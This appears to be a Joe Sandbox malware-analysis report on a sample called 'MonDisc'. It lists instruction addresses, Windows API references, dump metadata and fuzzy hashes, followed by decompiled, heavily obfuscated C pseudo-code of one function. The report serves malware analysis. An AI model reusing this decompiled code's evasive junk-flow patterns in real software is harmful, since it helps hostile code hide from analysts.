0x7ff6ed0f5dc8
0x7ff6ed0f5dd0
0x7ff6ed0f5dda
0x7ff6ed0f5ddd
0x7ff6ed0f5ddf
0x7ff6ed0f5de6
0x7ff6ed0f5dec
0x7ff6ed0f5df4
0x7ff6ed0f5dfe
0x7ff6ed0f5e02
0x7ff6ed0f5e06
0x7ff6ed0f5e0a
0x7ff6ed0f5e0c
0x7ff6ed0f5e0e
0x7ff6ed0f5e15
0x7ff6ed0f5e1f
0x7ff6ed0f5e21
0x7ff6ed0f5e2b
0x7ff6ed0f5e2d
0x7ff6ed0f5e31
0x7ff6ed0f5e35
0x7ff6ed0f5e3b
0x7ff6ed0f5e42
0x7ff6ed0f5e48
0x7ff6ed0f5e50
0x7ff6ed0f5e5a
0x7ff6ed0f5e5d
0x7ff6ed0f5e5f
0x7ff6ed0f5e69
0x7ff6ed0f5e71
0x7ff6ed0f5e7b
0x7ff6ed0f5e7f
0x7ff6ed0f5e83
0x7ff6ed0f5e87
0x7ff6ed0f5e89
0x7ff6ed0f5e91
0x7ff6ed0f5e9b
0x7ff6ed0f5e9e
0x7ff6ed0f5ea0
0x7ff6ed0f5ea6
0x7ff6ed0f5eae
0x7ff6ed0f5eba
0x7ff6ed0f5ec0
0x7ff6ed0f5ec6
0x7ff6ed0f5ece
0x7ff6ed0f5ed8
0x7ff6ed0f5ede
0x7ff6ed0f5ee2
0x7ff6ed0f5eec
0x7ff6ed0f5ef5
0x7ff6ed0f5efb
0x7ff6ed0f5efe
0x7ff6ed0f5f04
0x7ff6ed0f5f0b
0x7ff6ed0f5f2f
0x7ff6ed0f5f38
0x7ff6ed0f5f3a
0x7ff6ed0f5f3c
0x7ff6ed0f5f3e
0x7ff6ed0f5f40
0x7ff6ed0f5f41
0x7ff6ed0f5f46
0x7ff6ed0f5f47
0x7ff6ed0f5f48
0x7ff6ed0f5f4b
0x7ff6ed0f5f4f
0x7ff6ed0f5f53
0x7ff6ed0f5f64
0x7ff6ed0f5f68
0x7ff6ed0f5f70
0x7ff6ed0f5f75
0x7ff6ed0f5f7b
0x7ff6ed0f5f81
0x7ff6ed0f5f8a
0x7ff6ed0f5f95
0x7ff6ed0f5f9d
0x7ff6ed0f5fa1
0x7ff6ed0f5fa5
0x7ff6ed0f5fa9
0x7ff6ed0f5fab
0x7ff6ed0f5fb1
0x7ff6ed0f5fb9
0x7ff6ed0f5fc4
0x7ff6ed0f5fca
0x7ff6ed0f5fce
0x7ff6ed0f5fd5
0x7ff6ed0f5fdb
0x7ff6ed0f5fdd
0x7ff6ed0f5fe5
0x7ff6ed0f5ff0
0x7ff6ed0f5ff3
0x7ff6ed0f5ff5
0x7ff6ed0f5ffb
0x7ff6ed0f6003
0x7ff6ed0f6010
0x7ff6ed0f6016
0x7ff6ed0f601c
0x7ff6ed0f6023
0x7ff6ed0f602b
0x7ff6ed0f6036
0x7ff6ed0f6039
0x7ff6ed0f603f
0x7ff6ed0f6047
0x7ff6ed0f6052
0x7ff6ed0f605a
0x7ff6ed0f605e
0x7ff6ed0f6062
0x7ff6ed0f6066
0x7ff6ed0f6068
0x7ff6ed0f606e
0x7ff6ed0f6076
0x7ff6ed0f6081
0x7ff6ed0f6087
0x7ff6ed0f608b
0x7ff6ed0f6092
0x7ff6ed0f6098
0x7ff6ed0f609f
0x7ff6ed0f60a7
0x7ff6ed0f60ba
0x7ff6ed0f60c0
0x7ff6ed0f60c2
0x7ff6ed0f60cc
0x7ff6ed0f60d3
0x7ff6ed0f60e1
0x7ff6ed0f60ea
0x7ff6ed0f60f0
0x7ff6ed0f60fc
0x7ff6ed0f6102
0x7ff6ed0f6105
0x7ff6ed0f6107
0x7ff6ed0f610d
0x7ff6ed0f6114
0x7ff6ed0f611c
0x7ff6ed0f6127
0x7ff6ed0f612f
0x7ff6ed0f6133
0x7ff6ed0f6137
0x7ff6ed0f613b
0x7ff6ed0f613d
0x7ff6ed0f6141
0x7ff6ed0f6151
0x7ff6ed0f6157
0x7ff6ed0f615f
0x7ff6ed0f616d
0x7ff6ed0f616f
0x7ff6ed0f6172
0x7ff6ed0f6174
0x7ff6ed0f617c
0x7ff6ed0f6187
0x7ff6ed0f618b
0x7ff6ed0f618f
0x7ff6ed0f6193
0x7ff6ed0f6195
0x7ff6ed0f619a
0x7ff6ed0f619e
0x7ff6ed0f61a4
0x7ff6ed0f61ac
0x7ff6ed0f61b2
0x7ff6ed0f61ba
0x7ff6ed0f61bd
0x7ff6ed0f61be
0x7ff6ed0f61c3
0x7ff6ed0f61cd

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6ED0F5723
GetMessageExtraInfo.USER32 ref: 00007FF6ED0F5751
AnyPopup.USER32 ref: 00007FF6ED0F5757
GetWindowTextLengthW.USER32 ref: 00007FF6ED0F5761
IsZoomed.USER32 ref: 00007FF6ED0F577A
AnyPopup.USER32 ref: 00007FF6ED0F57BD
GetShellWindow.USER32 ref: 00007FF6ED0F583F
GetTickCount.KERNEL32 ref: 00007FF6ED0F5845
GetLastActivePopup.USER32 ref: 00007FF6ED0F58EE
GetTickCount.KERNEL32 ref: 00007FF6ED0F5958
GetCommandLineW.KERNEL32 ref: 00007FF6ED0F598D
GetForegroundWindow.USER32 ref: 00007FF6ED0F59F3
GetTopWindow.USER32 ref: 00007FF6ED0F59FB
GetCommandLineW.KERNEL32 ref: 00007FF6ED0F5A15
GetTopWindow.USER32 ref: 00007FF6ED0F5A30
GetForegroundWindow.USER32 ref: 00007FF6ED0F5A6B
GetMessageExtraInfo.USER32 ref: 00007FF6ED0F5B2E
IsZoomed.USER32 ref: 00007FF6ED0F5B69
GetShellWindow.USER32 ref: 00007FF6ED0F5B6F
GetMessageExtraInfo.USER32 ref: 00007FF6ED0F5B75
GetCurrentProcess.KERNEL32 ref: 00007FF6ED0F5B7B
GetModuleHandleW.KERNEL32 ref: 00007FF6ED0F5B85
GetTickCount.KERNEL32 ref: 00007FF6ED0F5B9C
AnyPopup.USER32 ref: 00007FF6ED0F5BA2
IsIconic.USER32 ref: 00007FF6ED0F5D03
GetWindowTextLengthW.USER32 ref: 00007FF6ED0F5D67
GetTopWindow.USER32 ref: 00007FF6ED0F5D6F
GetCurrentProcessId.KERNEL32 ref: 00007FF6ED0F5D75
GetTopWindow.USER32 ref: 00007FF6ED0F5E35
GetShellWindow.USER32 ref: 00007FF6ED0F5EA0
GetCommandLineW.KERNEL32 ref: 00007FF6ED0F5F0B

Strings

arg, xrefs: 00007FF6ED0F5F11

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Window$Popup$CommandCountExtraInfoLineMessageShellTick$CurrentForegroundHandleLengthModuleProcessTextZoomed$ActiveIconicLast
String ID: arg
API String ID: 2041650259-2022414218
Opcode ID: a090476f7653a4f20d9f7cb68fa832dfc61f8030dfde6aa4fefa4dc614a2e054
Instruction ID: ef5308cf21286c98599743d3d2f1b3227cf4a9d099b246e7d9fc6e47547c09da
Opcode Fuzzy Hash: a090476f7653a4f20d9f7cb68fa832dfc61f8030dfde6aa4fefa4dc614a2e054
Instruction Fuzzy Hash: 38326867E28A174AF604AF34DD0E3B822957F14711F380639D60AD3697FE3EE145824E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F82A9 Relevance: 54.8, APIs: 36, Instructions: 850
COMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FF67FF6ED0F82A9(char _a144, long long _a152) {
				signed int _t117;
				signed int _t129;
				signed int _t136;
				signed int _t141;
				signed int _t147;
				signed int _t152;
				signed int _t173;
				signed int _t179;
				signed int _t189;
				signed int _t206;
				signed int _t211;
				signed int _t223;
				signed int _t229;
				signed int _t246;
				signed int _t263;
				signed int _t268;
				signed int _t273;
				signed int _t297;
				signed int _t303;
				signed int _t308;
				signed int _t313;
				signed int _t318;
				signed int _t323;
				signed int _t328;
				signed int _t333;
				signed int _t369;
				signed int _t375;
				signed int _t399;
				signed int _t405;
				signed int _t422;
				signed int _t427;
				signed int _t432;
				signed int _t437;
				signed int _t442;
				signed int _t449;
				signed int _t454;
				signed int _t459;
				signed int _t466;
				signed int _t473;
				signed int _t478;
				signed int _t483;
				signed int _t488;
				signed int _t498;
				signed int _t503;
				signed int _t508;
				signed int _t513;
				signed int _t525;
				signed int _t535;
				signed int _t543;
				signed int _t550;
				signed int _t555;
				signed int _t558;
				signed int _t571;
				signed int _t576;
				signed int _t581;
				signed int _t594;
				signed int _t610;
				signed int _t615;
				signed int _t630;
				short _t636;
				signed int _t640;
				signed int _t645;
				signed int _t651;
				signed int _t656;
				signed int _t661;
				signed int _t666;
				signed int _t671;
				signed int _t677;
				signed int _t688;
				signed int _t694;
				signed int _t707;
				signed int _t712;
				signed int _t729;
				signed int _t758;
				signed int _t764;
				signed int _t769;
				signed int _t804;
				signed int _t810;
				signed int _t816;
				signed int _t822;
				signed int _t828;
				signed int _t835;
				signed int _t846;
				signed int _t858;
				signed int _t863;
				signed int _t868;
				signed int _t873;
				signed int _t904;
				signed int _t910;
				signed int _t917;
				signed int _t922;
				signed int _t930;
				signed int _t935;
				signed int _t972;
				signed int _t978;
				signed char _t995;
				signed char _t1081;
				void* _t1120;
				signed int _t1137;
				signed int _t1141;
				void* _t1146;
				signed int _t1150;
				void* _t1151;
				void* _t1155;
				void* _t1156;
				void* _t1158;
				void* _t1159;
				void* _t1160;
				void* _t1161;
				void* _t1162;
				void* _t1163;
				void* _t1166;
				void* _t1167;
				void* _t1168;
				void* _t1170;
				void* _t1171;
				void* _t1172;
				void* _t1173;
				void* _t1174;
				void* _t1175;
				void* _t1176;
				void* _t1177;
				void* _t1179;
				void* _t1180;
				void* _t1181;
				void* _t1182;
				void* _t1183;
				void* _t1185;
				void* _t1186;
				void* _t1187;
				void* _t1191;
				void* _t1193;
				void* _t1194;
				void* _t1197;
				void* _t1199;
				void* _t1200;
				void* _t1201;
				void* _t1202;
				void* _t1204;
				void* _t1206;
				void* _t1207;
				void* _t1210;
				void* _t1211;
				void* _t1212;
				void* _t1213;
				void* _t1214;
				void* _t1216;
				void* _t1217;
				void* _t1218;
				void* _t1219;
				void* _t1220;
				void* _t1221;
				void* _t1223;
				void* _t1224;
				void* _t1227;
				void* _t1230;
				void* _t1231;
				void* _t1232;
				void* _t1234;
				void* _t1237;
				void* _t1239;
				void* _t1240;
				void* _t1241;
				void* _t1243;
				void* _t1247;
				void* _t1248;
				void* _t1249;
				void* _t1250;
				void* _t1251;
				void* _t1252;
				void* _t1253;
				void* _t1254;
				void* _t1255;
				void* _t1257;
				void* _t1258;
				void* _t1260;
				void* _t1265;
				void* _t1266;
				void* _t1268;
				void* _t1269;
				void* _t1270;
				void* _t1271;
				void* _t1273;
				void* _t1275;
				void* _t1276;
				void* _t1277;
				void* _t1279;
				void* _t1280;
				void* _t1282;
				void* _t1283;
				void* _t1284;
				void* _t1285;
				void* _t1287;
				void* _t1288;
				void* _t1290;
				void* _t1292;
				void* _t1293;
				void* _t1294;
				void* _t1295;
				void* _t1296;
				void* _t1297;
				long long _t1300;
				void* _t1301;
				void* _t1302;
				void* _t1307;
				void* _t1312;
				void* _t1313;
				void* _t1314;
				void* _t1316;
				void* _t1317;
				void* _t1318;
				void* _t1319;
				void* _t1320;
				void* _t1321;

				GetParent();
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t1150 = E00007FF67FF6ED184484(_t1300) & _t1141;
				if (_t1150 >= 0) goto 0xed0f82ce;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1150 >= 0) goto 0xed0f82a4;
				 *0xed236f60 = _t978;
				sil = 0x24;
				_t117 = E00007FF67FF6ED184484(_t1300);
				if (_t1150 >= 0) goto 0xed0f82fa;
				_t1151 = ((_t117 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x5f;
				if (_t1151 <= 0) goto 0xed0f8321;
				GetTopWindow(??);
				E00007FF67FF6ED184484(_t1300);
				if (_t1151 >= 0) goto 0xed0f8317;
				goto 0xed0f838e;
				_t129 = E00007FF67FF6ED184484(_t1300) & 0x8000007f;
				if (_t129 >= 0) goto 0xed0f8331;
				if ((_t129 - _t978 | 0xffffff80) + _t978 != _t1146) goto 0xed0f8342;
				AnyPopup();
				E00007FF67FF6ED184484(_t1300);
				goto 0xed0f837c;
				dil = 0x28;
				goto 0xed0f835a;
				_t1155 = dil - 0x2c;
				if (_t1155 >= 0) goto 0xed0f8372;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t136 = E00007FF67FF6ED184484(_t1300);
				if (_t1155 >= 0) goto 0xed0f836d;
				_t1156 = ((_t136 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x43;
				if (_t1156 != 0) goto 0xed0f8347;
				_t141 = E00007FF67FF6ED184484(_t1300);
				if (_t1156 >= 0) goto 0xed0f8387;
				sil = sil + _t978;
				 *0xed236f60 = 0 | ((_t141 & 0x8000007f) - _t978 | 0xffffff80) + _t978 == _t1146;
				 *0xed236f60 = sil & 0xffffffff;
				_t1158 = sil - 0x2a;
				if (_t1158 < 0) goto 0xed0f82ea;
				_t147 = E00007FF67FF6ED184484(_t1300);
				if (_t1158 >= 0) goto 0xed0f83bb;
				_t1159 = ((_t147 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x1f;
				if (_t1159 > 0) goto 0xed0f83de;
				_t152 = E00007FF67FF6ED184484(_t1300);
				if (_t1159 >= 0) goto 0xed0f83d0;
				_t1160 = ((_t152 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x1f;
				 *0xed236f60 = 0 | _t1160 <= 0x00000000;
				E00007FF67FF6ED184484(_t1300);
				if (_t1160 >= 0) goto 0xed0f83ee;
				asm("movsd xmm6, [0x111782]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1160 < 0) goto 0xed0f8433;
				IsIconic(??);
				E00007FF67FF6ED184484(_t1300);
				if (_t1160 >= 0) goto 0xed0f841c;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1160 >= 0x00000000; // executed
				E00007FF67FF6ED106FB0(_t1160, _t1300, _t1302, _t1307); // executed
				_a152 = _t1300;
				E00007FF67FF6ED1075F0(0, _t1120, 0x8000007f, _t1301, _t1300, _t1312, _t1314, _t1316, _t1317);
				r9d = 0;
				r8d = r15d;
				E00007FF67FF6ED0F56BC(_t1160, _t1301, _t1300, _t1320, _t1300, _t1312, _t1313, _t1318, _t1319, _t1320, _t1321); // executed
				 *0xed236f60 = 0x35;
				_t1161 = 0x35 + _t978 - 0x37;
				if (_t1161 < 0) goto 0xed0f845e;
				_t173 = E00007FF67FF6ED184484(_t1300);
				r15d = 0x8000007f;
				r14d = 0xffffff80;
				if (_t1161 >= 0) goto 0xed0f848b;
				_t1162 = ((_t173 & r15d) - _t978 | r14d) + _t978 - 0xb;
				if (_t1162 == 0) goto 0xed0f84ae;
				GetMessageTime();
				_t179 = E00007FF67FF6ED184484(_t1300);
				if (_t1162 >= 0) goto 0xed0f84a7;
				_t1163 = ((_t179 & r15d) - _t978 | r14d) + _t978 - 0xb;
				goto 0xed0f84d5;
				E00007FF67FF6ED184484(_t1300);
				if (_t1163 >= 0) goto 0xed0f84bf;
				_t189 = E00007FF67FF6ED184484(_t1300);
				if (_t1163 >= 0) goto 0xed0f84d0;
				 *0xed236f60 = 0 | ((_t189 & r15d) - _t978 | r14d) + _t978 != 0x0000000f;
				GetLastActivePopup(??);
				GetDesktopWindow();
				GetTopWindow(??);
				GetCurrentProcess();
				_t995 = sil;
				 *0xed236f60 = _t995 & 0x000000ff;
				if (_t995 + _t978 - 0x30 < 0) goto 0xed0f8502;
				_a144 = 0x4e;
				 *0xed236f60 = 0x4a;
				_t1166 = 0x4a + _t978 - 0x4e;
				if (_t1166 < 0) goto 0xed0f851d;
				AnyPopup();
				E00007FF67FF6ED184484(_t1300);
				if (_t1166 >= 0) goto 0xed0f8543;
				asm("movsd xmm6, [0x11158d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1166 <= 0) goto 0xed0f85be;
				_t206 = E00007FF67FF6ED184484(_t1300);
				if (_t1166 >= 0) goto 0xed0f856a;
				_t1167 = ((_t206 & r15d) - _t978 | r14d) + _t978 - 0x44;
				if (_t1167 == 0) goto 0xed0f858e;
				_t211 = E00007FF67FF6ED184484(_t1300);
				if (_t1167 >= 0) goto 0xed0f8580;
				_t1168 = ((_t211 & r15d) - _t978 | r14d) + _t978 - 0x44;
				 *0xed236f60 = 0 | _t1168 != 0x00000000;
				 *0xed236f60 = _t978;
				E00007FF67FF6ED184484(_t1300);
				if (_t1168 >= 0) goto 0xed0f85a5;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1168 > 0x00000000;
				goto 0xed0f860f;
				_t223 = E00007FF67FF6ED184484(_t1300);
				if (_t1168 >= 0) goto 0xed0f85cf;
				if (((_t223 & r15d) - _t978 | r14d) + _t978 != 0x61) goto 0xed0f85f0;
				dil = 0x14;
				E00007FF67FF6ED1EE3D8();
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t1170 = dil - 0x1d;
				if (_t1170 < 0) goto 0xed0f85d7;
				_t229 = E00007FF67FF6ED184484(_t1300);
				if (_t1170 >= 0) goto 0xed0f8601;
				_t1171 = ((_t229 & r15d) - _t978 | r14d) + _t978 - 0x61;
				 *0xed236f60 = 0 | _t1171 != 0x00000000;
				E00007FF67FF6ED184484(_t1300);
				if (_t1171 >= 0) goto 0xed0f8620;
				asm("movsd xmm6, [0x111510]");
				r15d = 4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1171 < 0) goto 0xed0f8674;
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t1300);
				if (_t1171 >= 0) goto 0xed0f8658;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1171 >= 0x00000000;
				goto 0xed0f8709;
				_t246 = E00007FF67FF6ED184484(_t1300);
				if (_t1171 >= 0) goto 0xed0f8687;
				_t1172 = ((_t246 & 0x8000007f) - _t978 | r14d) + _t978 - 0x2f;
				if (_t1172 != 0) goto 0xed0f8698;
				E00007FF67FF6ED184484(_t1300);
				goto 0xed0f86f0;
				dil = bpl;
				E00007FF67FF6ED184484(_t1300);
				if (_t1172 >= 0) goto 0xed0f86b0;
				asm("movsd xmm6, [0x111348]");
				goto 0xed0f86dd;
				_t1173 = dil - 0x6b;
				if (_t1173 >= 0) goto 0xed0f86eb;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1300);
				if (_t1173 >= 0) goto 0xed0f86dd;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1173 >= 0) goto 0xed0f86ba;
				_t263 = E00007FF67FF6ED184484(_t1300);
				if (_t1173 >= 0) goto 0xed0f86fb;
				_t1174 = ((_t263 & 0x8000007f) - _t978 | r14d) + _t978 - 0x2f;
				 *0xed236f60 = 0 | _t1174 == 0x00000000;
				_t268 = E00007FF67FF6ED184484(_t1300);
				if (_t1174 >= 0) goto 0xed0f8719;
				_t1175 = ((_t268 & 0x8000007f) - _t978 | r14d) + _t978 - 0x55;
				if (_t1175 <= 0) goto 0xed0f8742;
				E00007FF67FF6ED1EE020();
				_t273 = E00007FF67FF6ED184484(_t1300);
				if (_t1175 >= 0) goto 0xed0f8734;
				_t1176 = ((_t273 & 0x8000007f) - _t978 | r14d) + _t978 - 0x55;
				 *0xed236f60 = 0 | _t1176 > 0x00000000;
				GetMessageTime();
				GetCurrentProcessId();
				GetTopWindow(??);
				dil = r15b;
				E00007FF67FF6ED184484(_t1300);
				if (_t1176 >= 0) goto 0xed0f8769;
				asm("movsd xmm6, [0x11135f]");
				goto 0xed0f8796;
				_t1177 = dil - 0xf;
				if (_t1177 >= 0) goto 0xed0f87a6;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1300);
				if (_t1177 >= 0) goto 0xed0f8796;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1177 != 0) goto 0xed0f87a6;
				if (_t1177 == 0) goto 0xed0f8773;
				E00007FF67FF6ED184484(_t1300);
				if (_t1177 >= 0) goto 0xed0f87b6;
				asm("movsd xmm6, [0x1111fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1177 != 0) goto 0xed0f88ca;
				if (_t1177 != 0) goto 0xed0f88ca;
				_t297 = E00007FF67FF6ED184484(_t1300);
				if (_t1177 >= 0) goto 0xed0f87eb;
				if (((_t297 & 0x8000007f) - _t978 | r14d) + _t978 == 0x16) goto 0xed0f8825;
				 *0xed236f60 = 0xe;
				_t1179 = 0xe + _t978 - sil;
				if (_t1179 < 0) goto 0xed0f87f2;
				_t303 = E00007FF67FF6ED184484(_t1300);
				if (_t1179 >= 0) goto 0xed0f8812;
				_t1180 = ((_t303 & 0x8000007f) - _t978 | r14d) + _t978 - 0x16;
				 *0xed236f60 = 0 | _t1180 != 0x00000000;
				goto 0xed0f88f6;
				_t308 = E00007FF67FF6ED184484(_t1300);
				if (_t1180 >= 0) goto 0xed0f8835;
				_t1181 = ((_t308 & 0x8000007f) - _t978 | r14d) + _t978 - 0x29;
				if (_t1181 == 0) goto 0xed0f8888;
				_t313 = E00007FF67FF6ED184484(_t1300);
				if (_t1181 >= 0) goto 0xed0f884a;
				_t1182 = ((_t313 & 0x8000007f) - _t978 | r14d) + _t978 - 0x5a;
				if (_t1182 == 0) goto 0xed0f8854;
				E00007FF67FF6ED1EE3D8();
				_t318 = E00007FF67FF6ED184484(_t1300);
				if (_t1182 >= 0) goto 0xed0f8864;
				_t1183 = ((_t318 & 0x8000007f) - _t978 | r14d) + _t978 - 0x5a;
				 *0xed236f60 = 0 | _t1183 != 0x00000000;
				_t323 = E00007FF67FF6ED184484(_t1300);
				if (_t1183 >= 0) goto 0xed0f8881;
				goto 0xed0f88bc;
				_t328 = E00007FF67FF6ED184484(_t1300);
				if (((_t323 & 0x8000007f) - _t978 | r14d) + _t978 - 0x29 >= 0) goto 0xed0f8898;
				_t1185 = ((_t328 & 0x8000007f) - _t978 | r14d) + _t978 - 0x17;
				if (_t1185 == 0) goto 0xed0f8802;
				E00007FF67FF6ED1EE3E0();
				_t333 = E00007FF67FF6ED184484(_t1300);
				if (_t1185 >= 0) goto 0xed0f88b7;
				_t1186 = ((_t333 & 0x8000007f) - _t978 | r14d) + _t978 - 0x17;
				 *0xed236f60 = 0 | _t1186 != 0x00000000;
				goto 0xed0f8802;
				E00007FF67FF6ED184484(_t1300);
				if (_t1186 >= 0) goto 0xed0f88da;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1186 != 0) goto 0xed0f88ee;
				if (_t1186 != 0) goto 0xed0f88ee;
				goto 0xed0f88f0;
				 *0xed236f60 = _t978;
				dil = 0x4b;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1300);
				if (_t1186 >= 0) goto 0xed0f8916;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1111da]");
				if (_t1186 < 0) goto 0xed0f892e;
				_t1187 = dil - 0x4f;
				if (_t1187 < 0) goto 0xed0f88f9;
				asm("movsd xmm6, [0x111222]");
				dil = 0x30;
				E00007FF67FF6ED184484(_t1300);
				if (_t1187 >= 0) goto 0xed0f8949;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1300);
				if (_t1187 >= 0) goto 0xed0f8961;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1187 >= 0x00000000;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x41 < 0) goto 0xed0f8939;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x19;
				if (0x19 + _t978 - 0x20 < 0) goto 0xed0f8995;
				 *0xed236f60 = 0x39;
				if (0x39 + _t978 - 0x42 < 0) goto 0xed0f89a7;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x63;
				_t1191 = 0x63 + _t978 - 0x74;
				if (_t1191 < 0) goto 0xed0f89bf;
				 *0xed236f60 = 0;
				_t369 = E00007FF67FF6ED184484(_t1300);
				if (_t1191 >= 0) goto 0xed0f89e9;
				if (((_t369 & 0x8000007f) - _t978 | r14d) + _t978 - 0x1b > 0) goto 0xed0f8a1e;
				 *0xed236f60 = 0x16;
				_t1193 = 0x16 + _t978 - 0x19;
				if (_t1193 < 0) goto 0xed0f89f0;
				_t375 = E00007FF67FF6ED184484(_t1300);
				if (_t1193 >= 0) goto 0xed0f8a10;
				_t1194 = ((_t375 & 0x8000007f) - _t978 | r14d) + _t978 - 0x1b;
				 *0xed236f60 = 0 | _t1194 <= 0x00000000;
				GetTopWindow(??);
				GetCurrentProcessId();
				E00007FF67FF6ED184484(_t1300);
				if (_t1194 >= 0) goto 0xed0f8a3c;
				asm("movsd xmm6, [0x11116c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1194 < 0) goto 0xed0f8a79;
				E00007FF67FF6ED184484(_t1300);
				if (_t1194 >= 0) goto 0xed0f8a62;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1194 >= 0x00000000;
				bpl = 0x2d;
				 *0xed236f60 = 0x1f;
				if (0x1f + _t978 - bpl < 0) goto 0xed0f8a7e;
				r14b = 0x31;
				dil = r14b;
				GetTickCount();
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x39 < 0) goto 0xed0f8a94;
				GetCurrentProcess();
				sil = 7;
				dil = 0x36;
				goto 0xed0f8ace;
				_t1197 = dil - 0x4a;
				if (_t1197 >= 0) goto 0xed0f8ae6;
				dil = dil + _t978;
				 *0xed236f60 = dil & 0xffffffff;
				_t399 = E00007FF67FF6ED184484(_t1300);
				if (_t1197 >= 0) goto 0xed0f8ae1;
				if (((_t399 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x60 >= 0) goto 0xed0f8abb;
				sil = sil + _t978;
				 *0xed236f60 = sil & 0xffffffff;
				_t1199 = sil - 0x12;
				if (_t1199 < 0) goto 0xed0f8ab6;
				 *0xed236f60 = 0x5d;
				_t405 = E00007FF67FF6ED184484(_t1300);
				if (_t1199 >= 0) goto 0xed0f8b19;
				_t1200 = ((_t405 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x6d;
				if (_t1200 == 0) goto 0xed0f8b89;
				E00007FF67FF6ED184484(_t1300);
				if (_t1200 >= 0) goto 0xed0f8b2e;
				asm("movsd xmm6, [0x111062]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1200 < 0) goto 0xed0f8b6b;
				E00007FF67FF6ED184484(_t1300);
				if (_t1200 >= 0) goto 0xed0f8b54;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1200 >= 0x00000000;
				_t422 = E00007FF67FF6ED184484(_t1300);
				if (_t1200 >= 0) goto 0xed0f8b7b;
				_t1201 = ((_t422 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0x6d;
				 *0xed236f60 = 0 | _t1201 != 0x00000000;
				dil = 0x26;
				_t427 = E00007FF67FF6ED184484(_t1300);
				if (_t1201 >= 0) goto 0xed0f8b9f;
				_t1202 = ((_t427 & 0x8000007f) - _t978 | 0xffffff80) + _t978 - 0xf;
				if (_t1202 >= 0) goto 0xed0f8bbe;
